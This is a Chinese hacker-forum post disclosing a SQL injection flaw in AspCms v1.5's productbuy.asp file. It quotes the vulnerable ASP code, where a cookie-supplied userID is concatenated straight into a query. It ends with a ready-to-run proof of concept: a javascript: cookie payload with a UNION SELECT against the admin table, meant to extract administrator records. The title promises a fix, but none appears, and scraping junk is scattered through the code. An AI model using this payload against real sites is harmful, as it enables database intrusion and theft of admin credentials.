AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
: C' c8 B" T8 Q  r' L( |! d也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
4 [, A3 P) x* P4 u- D9 a' M, n
<%
3 O' _' T  {" t+ {- X. F
if action = "buy" then

: s, [# s6 D; B0 v$ l        addOrder()

; {* ^' T; I" \& M2 j1 Felse
& i% r6 o4 B8 c' U8 f0 j& i
4 z- p) T+ L9 R, a3 T. N- O9 P9 P        echoContent()

end if
6 e! z) P) @. |; X0 Y- b
% A3 |' E, s! g' @# |

4 F9 s5 N) T$ Z( b……略过
+ G. W  }: J' Z& l+ e2 W/ r

: Z& b9 A6 }( d! _' g
Sub echoContent()

: b" z" }2 b& h* r) m  b        dim id

        id=getForm("id","get")
4 W5 g! F/ M* f  R
% L) U( u( a$ l0 G4 V% Y# A        
$ c/ D2 R6 S, L+ U! T
        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
7 K, ?2 `4 C$ E3 `+ }
        

        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

+ x, {' k2 G- J# B# s3 D. }        Dim templatePath,tempStr

! p% C5 P; G; J4 f, {* p        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"



        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

        selectproduct=rsObj(0)

        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 A! o1 y5 ?0 F& d
/ O. i  N+ s: x& o: ?7 N/ x        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
' y' |" S7 v- i) |+ _0 b
7 V+ y/ j) v/ B) B* `; \        if rCookie("loginstatus")=1 then  
+ x! A* F) L* T- d* x
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")

                linkman=rsObj("truename")

3 f3 e7 k. g, j  D. u8 D$ o& ]5 X                gender=rsObj("gender")

                phone=rsObj("phone")

                mobile=rsObj("mobile")

                email=rsObj("email")
! ?* O1 D$ s5 D  W( H% {; b
                qq=rsObj("qq")
" T* r/ u& F& J3 g
                address=rsObj("address")

                postcode=rsObj("postcode")
, ~% X2 o) i' p2 V
        else

# l# m& D5 ~5 j8 E# n                gender=1

        end if

2 j8 |3 Z2 p2 b/ A' S+ x        rsObj.close()
! e# T6 k! T" |) X/ [4 P
0 Q+ D9 @7 R3 V9 G2 M5 r+ H# M9 d               

$ L$ ?+ f  `1 L" O, w$ w5 I        with templateObj

0 C' \' ^/ R$ u/ G                .content=loadFile(templatePath)        

                .parseHtml()

0 g5 S8 X5 U' r/ D                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
( p$ ^1 }7 H+ C; Y
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               

- e# {/ a3 L# I9 |: |' R                .content=replaceStr(.content,"[aspcms:gender]",gender)               

" c# D( F2 O3 Z# v' ^+ T7 R                .content=replaceStr(.content,"[aspcms:phone]",phone)               
: Z- V# t  F, ]9 t' P
5 ^' x! d$ i5 y                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
, }) o# q& \: ~. E( h% V2 I3 D
                .content=replaceStr(.content,"[aspcms:email]",email)                        

                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
' K' h6 R" y- [) t1 I9 [
" W/ b: }( h% ~# V" P7 D                .content=replaceStr(.content,"[aspcms:address]",address)                        
& o/ [, k/ [$ {. X
- _/ m, P- ]$ y: m" }4 r/ }; O                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

  e# V& n: a5 ?# Y% g+ G                .parseCommon()                 

* r& Z" b& Y  C' k1 r' g                echo .content

# Y; B! I1 l- L3 Y. I6 J- k        end with
8 k4 R# g8 u0 Z/ [. ~8 r
        set templateobj =nothing : terminateAllObjects
1 K0 |& ?7 V6 g' b, O1 I7 E. O
/ H6 N, G7 [- e$ yEnd Sub
漏洞很明显，没啥好说的
2 Q. o9 G( }- a0 _poc：

javascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​
1 G; z  o$ J( f